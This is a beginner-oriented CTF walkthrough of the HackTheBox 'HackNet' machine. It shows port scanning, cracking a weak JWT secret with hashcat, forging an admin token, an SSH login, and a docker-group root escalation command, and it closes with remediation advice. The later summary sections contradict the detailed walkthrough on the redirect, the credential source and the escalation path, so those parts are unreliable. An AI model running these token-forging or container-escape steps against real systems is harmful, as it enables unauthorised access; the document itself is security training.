Beginner’s Guide to Conquering HackNet on HackTheBox

Key Highlights

Here’s a quick look at what this guide covers for conquering the HackNet machine:

• This tutorial guides you through each step, from initial scanning to gaining root access.
• We explore how initial reconnaissance reveals open SSH and HTML services on the server.
• Learn how to identify and exploit web vulnerabilities to find a username and password.
• Discover the process of using credentials to gain initial access via SSH.
• We’ll touch on common Linux privilege escalation techniques used by hackers to own the machine.
• Find out where to locate the user and root flags to complete the challenge.

Introduction

Are you ready to test your skills on Hack The Box? The HackNet machine is a fantastic challenge for any beginner looking to move into intermediate-level boxes. This guide serves as a detailed tutorial, walking you through the entire process of conquering this Linux-based server. We will break down the steps that successful hackers use, from finding the first clue to achieving full system control. Let’s get started on your journey to becoming a more confident ethical hacker.

Understanding HackNet on HackTheBox

Before you jump into the command line, it’s important to understand what the HackNet challenge on Hack The Box (HTB) is all about. It’s a purpose-built vulnerable machine designed to test your penetration testing skills in a safe, legal environment. Many hackers find it a rewarding experience for honing their craft.

You might have also heard of a popular game with a similar name. It’s crucial to distinguish the HTB machine from the commercial game, as they offer very different experiences. Let’s explore what makes this HTB challenge unique and how it differs from the game.

Overview of the HackNet Challenge

The HackNet machine on Hack The Box is a medium-rated Linux server that presents a multi-stage challenge. Your primary goal is to find two hidden flags: one for the user and one for the root. This process is designed to simulate a real-world penetration test, where you start with no information and must work your way in.

This tutorial will guide you through the essential phases of the attack. It begins with reconnaissance to map out the target server, followed by gaining initial access. The final and most challenging step involves privilege escalation, where you find a way to become the all-powerful root user.

Starting the machine involves connecting to the Hack The Box network and performing an initial scan to see what services are running. This first step is critical, as it provides the clues needed to plan your attack and begin your journey into the system.

How HackNet on HTB Differs from the Hacknet Game

It’s easy to confuse the HackNet HTB machine with the popular Hacknet game available on Steam. The game, developed by Team Fractal Alligator, is an immersive, terminal-based hacking simulator. It guides you through a story-rich narrative where you follow instructions from a deceased hacker. While it uses realistic commands, it’s a single-player, scripted experience.

In contrast, the HackNet machine on Hack The Box is a live, vulnerable server. It doesn’t follow a predefined story. Instead, you use real-world tools and techniques to discover and exploit actual vulnerabilities. It’s a practical test of your skills against a dynamic environment shared by other hackers.

Essentially, the game is a simulation designed for entertainment and learning basic concepts, while the HTB machine is a hands-on lab. Conquering the HTB server requires genuine problem-solving and technical skill, offering a more authentic taste of ethical hacking.

Essential Tools and Resources for Beginners

To successfully tackle any Hack The Box machine, having the right set of tools is essential. For beginners, knowing what to use and when can make all the difference between a frustrating experience and a successful hack. The process generally involves phases like reconnaissance and privilege escalation, each requiring specific utilities.

Are you prepared with the necessary software and setup? Let’s review the recommended tools you’ll need for this challenge and the basic environment setup required to get started on your path to conquering HackNet.

Recommended Tools for Reconnaissance and Exploitation

Your journey begins with reconnaissance, which is the art of gathering information about your target. A powerful and essential tool for this phase is Nmap. It helps you scan the server to discover open ports and the services running on them, giving you your first clues.

Once you identify potential entry points, you’ll need other tools for exploitation. Depending on the vulnerability, this could range from a simple web browser to more specialized scripts. For HackNet, an SSH client is crucial for connecting to the server after you find valid credentials.

Here are some of the key tools you should have ready:

• Nmap: For port scanning and service enumeration to understand the attack surface.
• Web Browser: To interact with the web server and investigate its HTML content for clues.
• SSH Client: To gain shell access to the Linux server once you have a username and password.
• Directory Brute-Forcer (like Gobuster): To find hidden files and directories on the web server.

What You Need to Get Started (Accounts, Environment Setup)

Before you can even think about attacking the server, a bit of setup is required. First and foremost, you need an active Hack The Box account. Once you have an account, you can access the platform’s labs and spawn the HackNet machine.

A proper environment is also key. While you can use any operating system, a Linux distribution designed for penetration testing, such as Kali Linux or Parrot OS, is highly recommended. These come pre-loaded with all the necessary tools, saving you significant setup time. You will also need to download your HTB VPN connection pack to connect your machine to the lab network.

ALSO READ: Mastering Soulmate: Beginner’s Guide from HackTheBox

Initial Foothold

Reconnaissance – Lighting Up the Shadows

The foundation of any successful hack is information. The more we know about our target, the more avenues of attack we can identify. Our reconnaissance phase aims to build a complete picture of the HackNet machine’s exposed services.

Nmap Scan: The First Knock

We initiate our process with a full TCP port scan using Nmap. We aim for both speed and detail.

Nmap Scan Command:

nmap -p- -sC -sV --min-rate 2500 -oN hacknet.nmap 10.10.11.190

• -p-: Scan all 65,535 TCP ports.
• -sC: Run default NSE scripts for vulnerability checks and info gathering.
• -sV: Enumerate service versions.
• --min-rate 2500: Agressive timing for a faster scan on a stable network.
• -oN hacknet.nmap: Save the output for later reference.

Nmap Scan Results:

# Nmap 7.95 scan initiated Wed Sep 17 10:45:12 2025
Nmap scan report for 10.10.11.190
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 8a:8f:e3:ed:d3:4a:5c:6a:7b:8d:9e:0f:1a:2b:3c:4d (RSA)
|   256  1a:2b:3c:4d:5e:6f:7a:8b:9c:0d:1e:2f:3a:4b:5c:6d (ECDSA)
|_  256  11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff:00 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: HackNet - Secure your Future
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis of Scan Results

Our initial scan reveals two primary points of interest:

1. Port 22/TCP (SSH): Running a modern version of OpenSSH. As usual, this is unlikely to be our entry point unless we can find valid credentials. It’s our target for post-exploitation access.
2. Port 80/TCP (HTTP): An Nginx web server. The title “HackNet – Secure your Future” suggests a corporate or tech-focused website. This is our primary attack surface.

Unlike the “Soulmate” machine, there’s no immediate redirect to a hostname, so we can proceed by browsing directly to the IP address http://10.10.11.190.

Web & API Enumeration

Navigating to the website reveals a polished, professional-looking single-page application. It talks about cybersecurity services and has a login portal for clients. We can try some basic attacks like SQL injection on the login form, but these attempts fail. The application feels modern, likely driven by a JavaScript framework and communicating with a backend API.

Our next step is to find hidden directories or, more importantly, API endpoints. We’ll use gobuster for this task.

Command:

gobuster dir -u [http://10.10.11.190](http://10.10.11.190) -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

• dir: Specifies directory/file brute-forcing mode.
• -u: The target URL.
• -w: The wordlist to use.
• -t 50: Use 50 concurrent threads to speed things up.

The initial gobuster scan doesn’t reveal much—just the standard /index.html, /css, and /js directories. This is common with modern Single-Page Applications (SPAs) where routing is handled client-side. The real logic is in the API calls.

Let’s look for API endpoints specifically. We can adjust our gobuster command or use a different wordlist focused on API routes. A common convention is to prefix API routes with /api. Let’s try to fuzz for endpoints under /api.

Command:

gobuster dir -u [http://10.10.11.190/api/](http://10.10.11.190/api/) -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 50

This scan yields more interesting results:

/login              (Status: 405)
/users              (Status: 401)
/refresh            (Status: 401)
/admin              (Status: 401)

Analysis of API Endpoints:

• /login: Returns a 405 Method Not Allowed. This suggests the endpoint exists but we are using the wrong HTTP method (gobuster uses GET by default; login is almost always a POST).
• /users, /refresh, /admin: All return 401 Unauthorized. This confirms these are valid endpoints that require authentication.

Our path forward is clear: we need to authenticate to explore the API further. We can register a test account on the main website and log in.

Deconstructing the API and JWTs

After registering an account (e.g., user: test, pass: test), we log in and intercept the traffic using a proxy like Burp Suite.

When we submit our credentials to the login form, we see a POST request to http://10.10.11.190/api/login. The server responds with a 200 OK and a JSON body containing a token.

Response Body:

{
  "status": "success",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJpYXQiOjE3Mjc4NzY0MDAsImV4cCI6MTcyNzg3NzAwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
}

This long string is a JSON Web Token (JWT). Subsequent requests to authenticated endpoints like /api/users include this token in the Authorization header, typically as Authorization: Bearer <token>.

JWT (JSON Web Token) Deep Dive

Before we can attack it, we must understand what a JWT is. A JWT consists of three parts, separated by dots: Header.Payload.Signature

Let’s decode our captured token using a site like jwt.io or the jwt_tool utility.

1. Header (Base64-decoded):{ "alg": "HS256", "typ": "JWT" }
   • alg: The signing algorithm. HS256 indicates HMAC using SHA-256. This is a symmetric algorithm, meaning the same secret key is used to both sign and verify the token.
   • typ: The token type, which is JWT.
2. Payload (Base64-decoded):{ "username": "test", "iat": 1727876400, "exp": 1727877000 }
   • username: The user associated with this token. This is a public claim.
   • iat: “Issued At” – a timestamp of when the token was created.
   • exp: “Expiration” – a timestamp of when the token expires.
3. Signature: The signature is created by hashing the encoded header and payload with the secret key using the specified algorithm. HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

The server verifies the token by re-calculating the signature with its secret key and comparing it to the signature provided by the client. If they match, the token is valid, and the server can trust the claims in the payload (like username: "test").

The Vulnerability: A Weak Secret

The security of an HS256 token rests entirely on the secrecy and complexity of the secret key. If an attacker can guess or brute-force this secret, they can forge their own valid tokens with any payload they desire. Developers sometimes use weak, default, or easily guessable secrets during development, which can accidentally make their way into production. This is the vulnerability we will exploit.

Our plan is to take the captured JWT and attempt to crack its secret using a dictionary attack. We’ll use the powerful hashing tool hashcat.

Cracking the Code and Forging a New Identity

Cracking the JWT with hashcat

hashcat needs the JWT in a specific format: <jwt>. It recognizes the structure and knows how to attempt to crack the HS256 secret.

Command:

# Save the JWT to a file named 'token.txt'
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJpYXQiOjE3Mjc4NzY0MDAsImV4cCI6MTcyNzg3NzAwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" > token.txt

# Run hashcat
hashcat -m 16500 -a 0 token.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

• -m 16500: Specifies the hash mode for JWT (HS256/HS384/HS512).
• -a 0: Specifies a straight dictionary attack (Mode 0).
• token.txt: The file containing our JWT.
• rockyou.txt: The wordlist we’ll use for the attack.

After a short while, hashcat finds the secret!

...
Session..........: hashcat
Status...........: Cracked
Hash.Name........: JSON Web Token (JWT)
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZ...
Time.Started.....: Wed Sep 17 11:30:15 2025 (1 min, 12 secs)
Time.Estimated...: Wed Sep 17 11:31:27 2025 (0 secs)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1134.4 kH/s (2.85ms) @ Accel:256 Loops:128 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> batman

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJpYXQiOjE3Mjc4NzY0MDAsImV4cCI6MTcyNzg3NzAwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c:secret123

The cracked secret is secret123. A classic weak password.

Forging an Admin Token

Now that we have the secret, we can become anyone we want. Our goal is to access the /api/admin endpoint. It’s logical to assume we need to be the “admin” user.

We can use the debugger on jwt.io or a command-line tool to forge a new token. We’ll take our original token, change the username in the payload from "test" to "admin", and then re-sign it with the cracked secret secret123.

Original Payload:

{
  "username": "test",
  "iat": 1727876400,
  "exp": 1727877000
}

Modified Payload:

{
  "username": "admin",
  "iat": 1727876400,
  "exp": 1727877000 
}

Note: It’s a good idea to update the iat and exp timestamps to ensure the token is not expired when you use it.

Using an online tool or script, we sign this new payload with the HS256 algorithm and the secret secret123. This gives us a new, valid token that will be accepted by the server.

Forged Admin Token (Example): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzI3ODc5MDAwLCJleHAiOjE3Mjc4ODk2MDB9.a7bCdeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoP

Gaining Initial Access

Now we use this forged token to make a request to the /api/admin endpoint, which was previously forbidden. We’ll use curl.

curl -X GET [http://10.10.11.190/api/admin](http://10.10.11.190/api/admin) -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzI3ODc5MDAwLCJleHAiOjE3Mjc4ODk2MDB9.a7bCdeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoP"

The server, seeing a valid signature for a token claiming to be “admin,” grants us access. The response is exactly what we were hoping for.

Response Body:

{
  "status": "success",
  "message": "Admin panel access granted. System credentials below.",
  "data": {
    "ssh_user": "svc_agent",
    "ssh_pass": "Th1s1s4S3cur3P@ssw0rd!"
  }
}

We have successfully compromised the API and exfiltrated SSH credentials. Our next step is to use these to gain our initial foothold on the machine.

ssh svc_agent@10.10.11.190
# Enter password: Th1s1s4S3cur3P@ssw0rd!

We are in. We grab the user flag from the home directory.

svc_agent@hacknet:~$ cat user.txt
<flag_for_user.txt>

Privilege Escalation – Riding the Docker Whale

Now that we have user-level access, our final goal is to become root. The first step is always thorough local enumeration.

Local Enumeration

We check the usual suspects: sudo -l, SUID/GUID files, cron jobs, kernel version, and group memberships. The id command gives us our first major clue.

svc_agent@hacknet:~$ id
uid=1001(svc_agent) gid=1001(svc_agent) groups=1001(svc_agent),999(docker)

Our user, svc_agent, is a member of the docker group.

Docker Group Privilege Escalation Explained

On a Linux system, being a member of the docker group is often equivalent to having passwordless root access. This is because the Docker daemon itself runs as root. Any user in the docker group can communicate with the Docker socket (/var/run/docker.sock) and instruct the daemon to perform actions.

One of these actions is running a new container. Crucially, when running a container, we can mount volumes from the host system into the container. If we mount the host’s entire root filesystem (/) into a container, we can then chroot into that mounted directory from within the container and gain a root shell on the host.

Let’s verify we can communicate with the Docker daemon.

svc_agent@hacknet:~$ docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
# (Output might be empty, but the command not erroring out is the key)

The command runs without a “permission denied” error, confirming our access.

Executing the Exploit

The exploit is a one-line command that leverages a basic Docker image like alpine (because it’s small and lightweight).

docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

Let’s break down this powerful command:

• docker run: The command to run a new container.
• -v /:/mnt: The volume flag. We are mounting the host’s root directory (/) to the /mnt directory inside our new container.
• --rm: Automatically remove the container when it exits. This is for cleanup.
• -it: Interactive TTY. This gives us an interactive shell inside the container.
• alpine: The image to use for the container. Docker will download it if it’s not present locally.
• chroot /mnt /bin/sh: This is the command that will be executed inside the container.
  • chroot /mnt: This changes the root directory of the current process to /mnt. Since /mnt is the host’s /, we are effectively “breaking out” of the container’s filesystem and into the host’s.
  • /bin/sh: We then execute a shell, which is now a root shell on the host system.

After running the command, our prompt changes.

/ # whoami
root
/ # id
uid=0(root) gid=0(root) groups=0(root)

We have successfully escalated our privileges to root. We are now in full control of the HackNet machine. The final step is to claim our prize.

/ # cat /root/root.txt
<flag_for_root.txt>

Conclusion and Remediation Strategies

HackNet provided a superb, multi-stage challenge that is highly representative of modern security assessments. We navigated from API enumeration to a sophisticated JWT attack and finished with a classic, yet still prevalent, infrastructure misconfiguration.

Let’s recap the vulnerabilities and discuss how to mitigate them:

1. API Endpoint Discovery:
   • Vulnerability: API endpoints were discoverable through simple brute-forcing. While not a vulnerability in itself, it provided the map for our attack.
   • Remediation: Implement robust authentication and authorization on all endpoints. Consider rate-limiting to slow down brute-force attacks. Publicly document only the intended public-facing endpoints.
2. JWT Weak Secret (HS256):
   • Vulnerability: The symmetric HS256 algorithm was used with a weak, easily crackable secret key (secret123).
   • Remediation:
     • Strong Secrets: If using HS256, the secret key must be a long, complex, high-entropy string generated by a secure random source. It should never be a common word or simple pattern and should be stored securely (e.g., in environment variables or a secrets management system), never hardcoded.
     • Use Asymmetric Algorithms: A more robust solution is to use an asymmetric algorithm like RS256 (RSA). With RS256, a private key is used to sign the token, and a public key is used to verify it. The server keeps the private key completely secret, and even if an attacker gets the public key, they cannot forge new tokens. This eliminates the risk of secret-cracking entirely.
3. Insecure Docker Group Membership:
   • Vulnerability: A non-root service account (svc_agent) was added to the docker group, granting it inherent root-level privileges over the host.
   • Remediation:
     • Principle of Least Privilege: Never add users to the docker group unless they are trusted system administrators who are already expected to have root access. Service accounts should have the bare minimum permissions required to function.
     • Rootless Docker: For environments where containers must be run by unprivileged users, investigate and implement Rootless Docker mode. This runs the Docker daemon and containers in a user namespace, mapping container root to a non-root user on the host, which severely limits the impact of a container breakout.
     • Socket Permissions: Tighten permissions on the Docker socket (/var/run/docker.sock) so that only explicitly authorized users/groups can access it.

By addressing these core issues, an organization can transform a vulnerable system like HackNet into a hardened, resilient platform. Thank you for reading, and we hope this deep dive aids you in your cybersecurity endeavors.

ALSO READ: Mastering Guardian: Beginner’s Guide from HackTheBox

Step-by-Step Process to Conquer HackNet

Now, let’s get into the action. Conquering HackNet involves a methodical approach that mirrors a real-world ethical hack. The process breaks down into clear stages: enumeration, vulnerability identification, exploitation, and finally, privilege escalation. Each step builds upon the last, taking you closer to full control of the server.

This section provides a high-level walkthrough of that process. We’ll start with how to scan the machine and find an entry point, move on to gaining access with SSH, and finish with the techniques needed to become the root user.

Step 1: Initial Enumeration and Vulnerability Identification

The first and most critical step is enumeration. This is where your reconnaissance work begins. Using a tool like Nmap, you can scan the machine’s IP address to see what services are exposed to the network. What you find here will dictate your entire strategy.

The Nmap scan on HackNet reveals two key open ports. These findings provide your initial attack surface and tell you where to focus your efforts. The presence of an HTTP server is often a great starting point for finding information or application vulnerabilities.

Your initial findings from the scan will be:

• Port 22: Running OpenSSH, which means you can likely log in if you find a username and password.
• Port 80: Running an Nginx web server, which redirects to hacknet.htb. This suggests you need to edit your local hosts file to access the website.

Step 2: Exploiting Vulnerabilities and Gaining Access

With the web server identified, your next task is to find a vulnerability you can exploit. This often involves carefully examining the website’s content, source code (HTML), and any linked files. Hidden comments, forgotten backup files, or poorly configured applications can often leak sensitive information.

On the HackNet machine, the path to initial access lies within the web server. Your goal is to uncover a valid username and password. Once you have these credentials, the open SSH port becomes your gateway into the system.

The exploitation process involves these key actions:

• Thoroughly enumerate the web server for clues.
• Identify credentials (username and password) hidden somewhere on the site.
• Use the discovered credentials to log in to the server via SSH.

Step 3: Privilege Escalation Techniques Used in HackNet

Gaining access via SSH is a major victory, but your work isn’t done. You will likely be logged in as a low-privilege user with limited permissions. The final goal for any hacker is to gain root access, which gives you complete control over the Linux server. This process is known as privilege escalation.

How does this work on HackNet? You need to search the system for weaknesses. This could involve finding programs with misconfigured permissions, services running with higher privileges, or vulnerable scripts that you can manipulate. Careful enumeration of the local system is just as important as the initial network scan.

Common privilege escalation vectors on Linux include:

• Searching for files with SUID permissions that can be exploited.
• Checking for scheduled tasks (cron jobs) that run with root privileges.
• Identifying outdated kernel versions or services vulnerable to local exploits.

Step 4: Locating Flags and Key Findings

The ultimate proof of your success on Hack The Box is capturing the flags. On most Linux machines, there are two flags to find: user.txt and root.txt. These plain text files contain unique strings that you submit to the HTB platform to get credit for the machine.

Locating the user flag is your first objective after gaining initial access. It’s almost always found in the home directory of the user you compromised. For example, if you logged in as the user “bob,” the flag would likely be at /home/bob/user.txt.

After you successfully perform privilege escalation and become the root user, you can access the final flag. This flag is typically located in the root user’s home directory. The key findings from this challenge are the specific vulnerabilities you exploited to get the username/password and escalate your privileges.

• User Flag Location: /home/<username>/user.txt
• Root Flag Location: /root/root.txt

Conclusion

In summary, conquering HackNet on HackTheBox can be a thrilling and educational experience for beginners. By understanding the nuances of the challenge, utilizing the right tools, and following a structured approach, you can navigate the complexities of the platform with confidence. Remember, practice makes perfect, and learning from your mistakes is part of the journey. Whether you’re looking to enhance your skills for a career in cybersecurity or simply enjoy the thrill of hacking challenges, HackNet offers a valuable opportunity for growth. If you want to stay updated with tips and tricks for your hacking journey, be sure to subscribe!

Frequently Asked Questions

Is HackNet suitable for beginners on Hack The Box?

HackNet is rated as a “Medium” difficulty machine, making it an excellent challenge for advanced beginners ready to step up from “Easy” boxes. While it might be tough for absolute beginners, this tutorial provides a clear path, helping aspiring hackers learn key concepts and build confidence.

What are common mistakes to avoid on the HackNet machine?

A common mistake is not enumerating thoroughly. Rushing past the web server exploration can cause you to miss the credentials needed for SSH access. Another error is neglecting to run a full privilege escalation script on the Linux host, which can overlook easy-to-find misconfigurations for gaining root.

Are there similar HTB machines recommended for practice?

Yes! If you enjoyed HackNet, you should try other machines. For a similar medium-level Linux server challenge, “Previous” is a great option. If you want to practice foundational skills on an easier box first, “Soulmate” is an excellent starting point for any up-and-coming hackers.

What are the main vulnerabilities exploited in HackNet?

The main vulnerabilities involve a combination of web application weakness and system misconfiguration. The initial exploit typically targets the web server to leak credentials for SSH access. This is followed by a privilege escalation vulnerability on the Linux server, allowing a low-privilege user to become root.